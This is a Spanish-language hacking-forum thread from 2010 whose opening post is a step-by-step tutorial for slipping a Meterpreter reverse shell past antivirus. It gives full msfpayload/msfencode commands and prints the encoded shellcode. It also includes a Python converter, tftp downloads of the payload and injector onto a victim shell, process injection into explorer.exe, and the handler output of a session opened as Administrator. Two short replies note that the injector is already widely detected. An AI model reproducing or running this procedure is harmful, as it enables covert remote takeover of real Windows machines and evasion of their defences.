Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Shell Root en 24 Diciembre 2010, 17:51 pm



Título: Bypassing AVs inyectando con shells alfanuméricas
Publicado por: Shell Root en 24 Diciembre 2010, 17:51 pm
Bypassing AVs inyectando con shells alfanuméricas

Bueno gente en hoy les voy a mostrar como bypassear el antivirus inyectando meterpreter directamente en otro proceso, logrando que este corra en el su mismo contexto, por medio de Injector una mini tool hecha por Amit Malik.

El escenario es el siguiente, tenemos shell sea php o clásica(esta voy a usar yo) en nuestra víctima, queremos subir meterpreter para poder aprovechar todo lo que nos brinda para la postexplotación pero cuando lo subimos el antivirus lo detecta y lo borra, con la pequeña introducción vamos a lo bueno.

Nuestra shell:
Código
  1. Microsoft Windows XP [Version 5.1.2600]
  2. (C) Copyright 1985-2001 Microsoft Corp.
  3.  
  4. C:\WINDOWS\system32>

ok lo que primero que vamos a hacer es crear el meterpreter que vamos a subir para inyectar, estos comando los tienen que ejecutar dentro del directorio de metasploit:
Código
  1. @Free-Box:/opt/MSF/trunk$ [b]sudo ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 R|./msfencode -c 4 -e x86/shikata_ga_nai -o /tmp/meter.exe -t exe[/b]
  2. [*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
  3.  
  4. [*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)
  5.  
  6. [*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)
  7.  
  8. [*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)

Ok que hice con este comando, generé un meterpreter y como tipo de salida de la instrucción msfpayload le dije RAW, a esa salida estandar la redirijí con un pipe al msfencode y lo encripté 4 veces con shikata_ga_nai y el formato de salida en perl.

Vamos a /tmp y nos fijamos si está:
Código
  1. @Free-Box:/opt/MSF/trunk$[b] cd /tmp[/b]
  2. @Free-Box:/tmp$ [b]ls|grep meter[/b]
  3. meter
  4. @Free-Box:/tmp$ [b]cat meter[/b]
  5. buf =
  6. "\x29\xc9\xbd\x63\x4e\x7c\x5e\xb1\x5e\xd9\xf7\xd9\x74\x24" +
  7. "\xf4\x58\x31\x68\x0e\x03\x68\x0e\x83\xa3\x4a\x9e\xab\x9b" +
  8. "\x39\xce\x70\xf5\x67\x37\x53\xc0\x41\xbc\x80\x26\x2a\x8c" +
  9. "\x9e\xf7\x8e\xfd\xa3\x1c\xec\x01\xe7\x87\x7f\xd7\x71\x5f" +
  10. "\x4b\x13\x6d\x5c\xae\x56\x99\x08\xbe\x6f\xfa\xf1\x81\x63" +
  11. "\xaf\x71\x2a\x56\x8f\xff\x05\xdd\x64\x02\x3d\x0b\x12\x38" +
  12. "\xae\x18\xef\x06\x6d\xff\x98\x1c\x82\x04\x68\x96\x9d\xb5" +
  13. "\x80\x25\xd6\x17\x91\xd4\xdf\xe9\x82\x4f\xf1\xa0\x7a\x64" +
  14. "\x44\x26\x18\x80\xe8\x00\x41\xaa\xc3\xf5\x0e\xbc\x7f\x0f" +
  15. "\x30\xd6\x93\x91\x29\xd4\x13\xc8\x93\x5c\x0c\x2d\x28\x08" +
  16. "\xca\x28\x1e\x1a\x39\x8f\xe4\xd9\xd1\xa6\x52\xeb\x00\x63" +
  17. "\x67\x3f\x59\x57\x97\xd3\xb1\x13\x14\x53\x08\xcb\x24\x5a" +
  18. "\xc8\xc0\xe4\xb8\x1b\x6f\x5b\xdd\xe1\x7b\xa8\x09\xdb\x06" +
  19. "\x31\x24\xd0\xbf\x2f\x25\xf2\x4c\x49\xb4\x8b\x0a\x00\xc4" +
  20. "\xcd\x74\x38\xbd\x14\x8c\xb4\xed\xcf\x2f\xb8\x01\x16\x31" +
  21. "\xf1\xd0\x90\xd8\xfd\x33\x6a\xbf\xea\xaa\x46\xdd\x12\xa5" +
  22. "\x13\x3b\x49\x53\x48\x2a\x28\x6b\x0b\x3b\x57\x7e\x84\x13" +
  23. "\xf8\x7e\xd6\xcb\x83\x71\x4f\x55\xe8\x22\xb6\x07\x22\x9f" +
  24. "\x8d\xc3\x5e\xd8\x6b\x89\x0e\x12\xe4\xc4\x6e\x8c\x32\x76" +
  25. "\x24\x64\xd3\x5c\xbf\xd0\xbc\xab\x3c\x9b\xa2\xb9\xf9\xd8" +
  26. "\x6d\x5e\x72\x94\x10\xa9\x58\xfe\xc0\x45\xb9\x53\x99\xa2" +
  27. "\xff\x8c\x24\xf8\xc4\xab\x53\x96\x5b\xad\xf2\x29\xdd\x1e" +
  28. "\x8f\x73\xad\x66\x84\x84\xb1\xd3\xc9\xe0\xba\x40\x6f\xa5" +
  29. "\x17\xda\x1f\xa4\x35\x95\x46\x96\xf6\x9c\xfe\x92\xc0\xcc" +
  30. "\xab\x42\x56\x8a\x1c\x79\x4e\xc3\x41\xf8\x83\xc8\x3a\x33" +
  31. "\x42\x7d\xa9\xa8\xa2\xfd\x28\x8d\xd6\x9f\x41\x90\x33\x0c" +
  32. "\xf6\xc2\x18\x23\x6f\x40\x48\xd6\x30\x30\x47\xc4\x8f\xb5" +
  33. "\x22\xe0\x36\x98\xb0\xe5\xbc\x12\x2e\x3f\xf6\x5f\xc2\x49" +
  34. "\x62\x2d\x52\xef\xaa\x84\x88"

Y ahí esta nuestro meterpreter, y ustedes dirán para que lo quiero así, no se apuren ahora viene esa parte.

Ok porqué lo necesito así porque para poder subirlo y que no lo detecte para nada vamos a convertir el shellcode a alfanumérico, que pasa si lo subimos directamente:
(http://i51.tinypic.com/2vt6tyd.png)

ok, para convertir nuestra shell usamos un script en python que nos provee el autor(al final el link de desacarga de todo) al cual le agregamos nuestra shell.
Código
  1. #!/usr/bin/python
  2. #generic payload builder for injector
  3. #Plz first test the payloads on your system.. otherwise you know you can't blame anyone :)  
  4.  
  5. shellcode=("\x29\xc9\xbd\x63\x4e\x7c\x5e\xb1\x5e\xd9\xf7\xd9\x74\x24\xf4\x58\x31\x68\x0e\x03\x68\x0e\x83\xa3\x4a\x9e\xab\x9b\x39\xce\x70\xf5\x67\x37\x53\xc0\x41\xbc\x80\x26\x2a\x8c\x9e\xf7\x8e\xfd\xa3\x1c\xec\x01\xe7\x87\x7f\xd7\x71\x5f\x4b\x13\x6d\x5c\xae\x56\x99\x08\xbe\x6f\xfa\xf1\x81\x63\xaf\x71\x2a\x56\x8f\xff\x05\xdd\x64\x02\x3d\x0b\x12\x38\xae\x18\xef\x06\x6d\xff\x98\x1c\x82\x04\x68\x96\x9d\xb5\x80\x25\xd6\x17\x91\xd4\xdf\xe9\x82\x4f\xf1\xa0\x7a\x64\x44\x26\x18\x80\xe8\x00\x41\xaa\xc3\xf5\x0e\xbc\x7f\x0f\x30\xd6\x93\x91\x29\xd4\x13\xc8\x93\x5c\x0c\x2d\x28\x08\xca\x28\x1e\x1a\x39\x8f\xe4\xd9\xd1\xa6\x52\xeb\x00\x63\x67\x3f\x59\x57\x97\xd3\xb1\x13\x14\x53\x08\xcb\x24\x5a\xc8\xc0\xe4\xb8\x1b\x6f\x5b\xdd\xe1\x7b\xa8\x09\xdb\x06\x31\x24\xd0\xbf\x2f\x25\xf2\x4c\x49\xb4\x8b\x0a\x00\xc4\xcd\x74\x38\xbd\x14\x8c\xb4\xed\xcf\x2f\xb8\x01\x16\x31\xf1\xd0\x90\xd8\xfd\x33\x6a\xbf\xea\xaa\x46\xdd\x12\xa5\x13\x3b\x49\x53\x48\x2a\x28\x6b\x0b\x3b\x57\x7e\x84\x13\xf8\x7e\xd6\xcb\x83\x71\x4f\x55\xe8\x22\xb6\x07\x22\x9f\x8d\xc3\x5e\xd8\x6b\x89\x0e\x12\xe4\xc4\x6e\x8c\x32\x76\x24\x64\xd3\x5c\xbf\xd0\xbc\xab\x3c\x9b\xa2\xb9\xf9\xd8\x6d\x5e\x72\x94\x10\xa9\x58\xfe\xc0\x45\xb9\x53\x99\xa2\xff\x8c\x24\xf8\xc4\xab\x53\x96\x5b\xad\xf2\x29\xdd\x1e\x8f\x73\xad\x66\x84\x84\xb1\xd3\xc9\xe0\xba\x40\x6f\xa5\x17\xda\x1f\xa4\x35\x95\x46\x96\xf6\x9c\xfe\x92\xc0\xcc\xab\x42\x56\x8a\x1c\x79\x4e\xc3\x41\xf8\x83\xc8\x3a\x33\x42\x7d\xa9\xa8\xa2\xfd\x28\x8d\xd6\x9f\x41\x90\x33\x0c\xf6\xc2\x18\x23\x6f\x40\x48\xd6\x30\x30\x47\xc4\x8f\xb5\x22\xe0\x36\x98\xb0\xe5\xbc\x12\x2e\x3f\xf6\x5f\xc2\x49\x62\x2d\x52\xef\xaa\x84\x88")
  6.  
  7. buffer=shellcode
  8.  
  9. file=open("pgeneric.txt","w")
  10.  
  11. file.write(buffer)

Y lo ejecutamos:
Código
  1. Free-Box:/tmp$ python generic.py

Nuestra shell se pasa a llamar pgeneric.txt y si la abren van a ver todo alfanumérico.
Ok ya tenemos nuestra shell vamos a subirla, en mi caso supongamos que estamos en un backtrack, ási que subimos el TFPT server y le damos el siguiente comando a la shell que tenemos abierta:

Código
  1. C:\WINDOWS\system32> tftp -i 192.168.1.101 GET pgeneric.txt

Para que vean que el antivirus está actualizado:
(http://i51.tinypic.com/2hi368x.png)

La escaneo con el antivirus y:
(http://i55.tinypic.com/2e4xb3q.png)

ok ya tenemos nuestra shell, ahora subimos el Injector
Código
  1. C:\WINDOWS\system32> tftp -i 192.168.1.101 GET injector.exe

Lo escaneamos y:
(http://i54.tinypic.com/ff4g7b.png)

(http://i54.tinypic.com/vqjxba.png)

bueno nada es detectado así que seteamos un handler de metasploit para que reciba nuestro reverse meterpreter
Código
  1. msf > [b]use multi/handler[/b]
  2. msf exploit(handler) > [b]set payload windows/meterpreter/reverse_tcp[/b]
  3. payload => windows/meterpreter/reverse_tcp
  4. msf exploit(handler) > [b]show options
  5. [/b]
  6. Module options:
  7.  
  8.   Name  Current Setting  Required  Description
  9.   ----  ---------------  --------  -----------
  10.  
  11.  
  12. Payload options (windows/meterpreter/reverse_tcp):
  13.  
  14.   Name      Current Setting  Required  Description
  15.   ----      ---------------  --------  -----------
  16.   EXITFUNC  process          yes       Exit technique: seh, thread, none, process
  17.   LHOST                      yes       The listen address
  18.   LPORT     4444             yes       The listen port
  19.  
  20.  
  21. Exploit target:
  22.  
  23.   Id  Name
  24.   --  ----
  25.   0   Wildcard Target
  26.  
  27.  
  28. msf exploit(handler) > [b]set lhost 192.168.1.101[/b]
  29. lhost => 192.168.1.101
  30. msf exploit(handler) > [b]exploit [/b]              
  31.  
  32. [*] Started reverse handler on 192.168.1.101:4444
  33. [*] Starting the payload handler...

hacemos un tasklist para buscar un pid de proceso, en este caso yo voy a usar el explorer que es el 180 y ejecutamos lo siguiente
Código
  1. C:\WINDOWS\system32> cd..
  2. C:\WINDOWS> cd ..
  3. C:\> cd Documents and Settings
  4. C:\Documents and Settings> cd Administrator
  5. C:\Documents and Settings\Administrator>cd Desktop
  6. C:\Documents and Settings\Administrator\Desktop>injector pgeneric.txt 180
  7. [*] Author: DouBle_Zer0
  8. [*] HACKERS GARAGE Production
  9. [*] Visit Us: http://www.garage4hackers.com
  10.  
  11. C:\Documents and Settings\Administrator\Desktop>

y del lado del handler tenemos
Código
  1. msf exploit(handler) > exploit                
  2.  
  3. [*] Started reverse handler on 192.168.1.101:4444
  4. [*] Starting the payload handler...
  5. [*] Sending stage (749056 bytes) to 192.168.1.106
  6. [*] Meterpreter session 4 opened (192.168.1.101:4444 -> 192.168.1.106:1065) at Fri Dec 24 10:12:21 -0300 2010
  7.  
  8. meterpreter > pwd
  9. C:\Documents and Settings\Administrator
  10. meterpreter > getuid
  11. Server username: XP_FDCC\Renamed_Admin

y el antivirus ni enterado de nada.

link de descarga: :http://www.4shared.com/file/hhHntIlE/injector.html

bueno gente espero que les haya gustado, que tengan felices fiestas y que papa noel les traiga muchos root passwords para todos,jejeje.hasta la próxima.

Visto en: :http://rusopro.diosdelared.com/?coment=9096


Título: Re: Bypassing AVs inyectando con shells alfanuméricas
Publicado por: ChElAnO en 29 Diciembre 2010, 02:51 am
Hola.

Me parecio interesante esta tecnica. La curiosidad me hizo subir  injector.exe a virustotal y como pueden ver en el link ( http://bit.ly/h7hXhX ) es detectado por el 72% de antivirus. Creo que con esto se viene abajo todo.

Mas info:

https://sites.google.com/site/mamit30/home/injector
http://packetstormsecurity.org/files/view/92823/Injector.pdf
http://console-cowboys.blogspot.com/2010/08/bypassing-antivirus-with-process.html

Saludos !


Título: Re: Bypassing AVs inyectando con shells alfanuméricas
Publicado por: Devilboy.Devil en 29 Diciembre 2010, 02:52 am
si, esa tecnica está mas que detectada